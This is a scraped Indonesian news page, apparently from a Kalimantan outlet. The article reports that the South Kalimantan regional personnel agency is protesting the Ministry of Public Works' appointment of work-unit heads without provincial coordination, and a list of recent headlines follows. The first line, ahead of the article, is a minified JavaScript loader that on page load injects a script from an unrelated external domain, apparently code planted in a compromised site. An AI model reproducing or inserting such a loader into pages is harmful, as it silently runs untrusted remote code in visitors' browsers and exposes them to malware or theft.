(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tanpa Kordinasi Menunjuk Kepala Satker, BKD Kalsel Protes Kementrian PUPR


BANJARBARU, Kebijakan penempatan Kepala Satuan Kerja (Satker) yang menangani program APBN di bawah naungan Pemprov Kalsel mendapat tuaian protes. Hal ini disampaikan Kepala Badan Kepegawaian Daerah (BKD) Kalsel, Perkasa Alam yang mengatakan pemerintah pusat dalam hal ini Kementrian PUPR menunjuk Kepala Satker tanpa melalui Pemprov.

“Kementerian langsung menunjuk ke person atau Satkernya, padahal pejabat yang bersangkutan sudah pindah,” keluhnya.

Bukan tanpa alasan, hal ini dikarenakan ada berapa Satker APBN yang dilimpahkan ke pemprov untuk dilaksanakan. Alhasil, mekanismenya pun dengan menjadikan apartur sipil negara (ASN) Pemprov sebagai Kepala Satker, yang secara otomatis tangkas jabatan di organisasi pemprov.

Namun hal ini rupanya membuat masalah terkait Jabatan Kepala Satker yang mana pejabat terkait telah pindah tugas. Salah satunya Noor Efrani yang menjabat Kepala Satker Kepala Satuan Kerja Penyediaan Perumahan Kalsel, jabatannya berkaitan langsung dengan Dinas Kawasan Permukiman dan Perumahan Rakyat (Perkim).

Sebelumnya Efran memang menjabat kepala bidang di Disperkim. Namun saat ini Efran sudah pindah ke Dinas Pekerjaan Umum dan Penataan Ruang (PUPR).

Serupa dengan Efran, Aswan yang menjabat Kepala Satker SKPD Jalan dan Jembatan, pindah dari PUPR ke Disperkim pada 2018. Meski sudah pindah tugas, keduanya masih mengemban jabatan Kepala Satker.

Perkasa Alam sendiri telah meminta SKPD terkait untuk menyurati kementerian PUPR, agar menunjuk Satker sesuai dengan usulan pemda. Ia bahkan tidak segan untuk menegur Kementerian terkait dalam penempatan Kepala Satker.

“Jangan menunjuk hanya karena kenal dengan orangnya. Kami telah meminta SKPD terkait menyurati ke kementerian terkait. Sebab dalam hak Satker ini kan pegawai kita yang digunakan oleh kementerian,” bebernya.

Sementara, Kepala Bidang Binas Marga Dinas PUPR Kalsel M Yasin Toyib menambahkan, terkait kepala satker di bawah PUPR yang pindah jabatan, pihaknya sudah mengusulkan ke kementerian. “2018 lalu surat permohonan pergantian sudah dikirim ke kementerian, tapi belum ada balasan. Sementara belum ada balasan maka kepala satker dijabat pejabat sebelumnya (dalam hal ini Aswan),” kata Yasin.

Disisi lain Kabag TU Balai Besar Pelaksana Jalan Nasional Wilayah XI Banjarmasin, Muntaal Badrun mengakui ada usulan pergantian kepala satker SKPD. Dikatakannya, pergantian tersebut menunggu SK menteri. “Ada surat dari pemda masum ke kami, tidak hanya Kalsel tapi juga Kalteng dan Kalbar. Usulan pergantian dikarenakan perpindahan jabatan,” jelasnya. (Rico)


Desy Arfianty

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

3 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

3 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

4 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

5 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

5 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

7 jam ago

This website uses cookies.